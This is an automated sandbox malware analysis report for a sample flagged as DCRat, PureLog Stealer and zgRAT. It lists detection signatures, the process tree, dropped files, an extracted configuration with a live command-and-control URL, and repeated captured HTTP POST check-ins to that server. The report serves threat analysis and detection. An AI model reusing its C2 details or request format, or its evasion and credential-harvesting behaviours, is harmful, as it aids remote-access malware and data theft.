Edit tour

Windows Analysis Report
aW6kSsgdvv.exe

Overview

General Information

Sample name:	aW6kSsgdvv.exe renamed because original name is a hash value
Original sample name:	e6745a5bd70cf276b92b38cde101feec.exe
Analysis ID:	1584143
MD5:	e6745a5bd70cf276b92b38cde101feec
SHA1:	5ab864c5b1359bc30e3433954eba659cd1e9fa37
SHA256:	49019bc2c2573667816d4da69c572b20bdea344a1b2f0481e270cba50337b8a7
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Tries to harvest and steal browser information (history, passwords, etc)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

aW6kSsgdvv.exe (PID: 7300 cmdline: "C:\Users\user\Desktop\aW6kSsgdvv.exe" MD5: E6745A5BD70CF276B92B38CDE101FEEC)

cmd.exe (PID: 7392 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pESnCcNlNN.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7444 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7460 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe (PID: 7528 cmdline: "C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe" MD5: E6745A5BD70CF276B92B38CDE101FEEC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
aW6kSsgdvv.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
aW6kSsgdvv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000000.1651549669.0000000000822000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.4111793504.00000000039E3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1697890254.00000000130D8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: aW6kSsgdvv.exe PID: 7300	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe PID: 7528	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.aW6kSsgdvv.exe.820000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.aW6kSsgdvv.exe.820000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\aW6kSsgdvv.exe, ProcessId: 7300, TargetFilename: C:\Program Files (x86)\windows nt\TableTextService\en-US\dllhost.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T13:37:09.515291+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49730	62.109.6.177	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: aW6kSsgdvv.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\SVFlttpV.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\UPIBktTL.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\QYddYtaa.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\FtWmYUyp.log	Avira: detection malicious, Label: TR/Agent.jbwuj
Source: C:\Users\user\AppData\Local\Temp\pESnCcNlNN.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\Desktop\QGDVeHnG.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\SAFlVHRw.log	Avira: detection malicious, Label: TR/Agent.jbwuj

Found malware configuration

Source: 00000000.00000002.1697890254.00000000130D8000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\Desktop\CBsOLUGE.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\CDgwRXyw.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\ENCxRpdw.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\FkfwJRmb.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\FtWmYUyp.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\KfBEvNVm.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\QGDVeHnG.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\QYddYtaa.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\SAFlVHRw.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\SVFlttpV.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\SrillUyz.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\UXrTPcuQ.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\XoXkyDgk.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\ZytkyWMl.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\aYPSAOzm.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\amxtkjHj.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\buBBtjbG.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\dGLjzEzy.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\eUERMxhX.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\itdibBOm.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\kEKqFqTO.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\oDYhwZmE.log	ReversingLabs: Detection: 20%
Source: C:\Windows\CbsTemp\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	ReversingLabs: Detection: 73%
Source: C:\Windows\DiagTrack\Settings\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: aW6kSsgdvv.exe	Virustotal: Detection: 58%			Perma Link
Source: aW6kSsgdvv.exe	ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\SVFlttpV.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\FkfwJRmb.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\UPIBktTL.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\SrillUyz.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\OSzMttrI.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\CBsOLUGE.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\BFEovXjB.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\MQMeXKnN.log	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: aW6kSsgdvv.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["1BRiNXlDvBamMJxwhEqyfDHpEr1devQXIFkqrUrtrCRJ1ntMaV0gxTVx4ldffHi9uCeGjHENW6Gdw7ya8oDI4ujyuxvF0LNkdRZzImnTQnJ0M2A7xCh1DZFAcqWvV9WL","b2ac2fc5f8fd57036b33cb339a752615a9333c7fb6f8fc6d643d31e20b9e9dcf","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
Source: 00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/","requesthttpdefaultBase"]]

Source: aW6kSsgdvv.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Directory created: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe			Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Directory created: C:\Program Files\WindowsPowerShell\Configuration\bac0f074c202d5			Jump to behavior

Source: aW6kSsgdvv.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh		0_2_00007FFD9BA1B9AD
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh		5_2_00007FFD9BC6B9AD

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49730 -> 62.109.6.177:80

Source: global traffic

TCP traffic: 192.168.2.4:50548 -> 162.159.36.2:53

Source: Joe Sandbox View

ASN Name: THEFIRST-ASRU THEFIRST-ASRU

Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1900Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1900Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: multipart/form-data; boundary=----gcFmrSHzTav7zJwuCvCwdwq9Ooqo80dmBEUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 174050Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
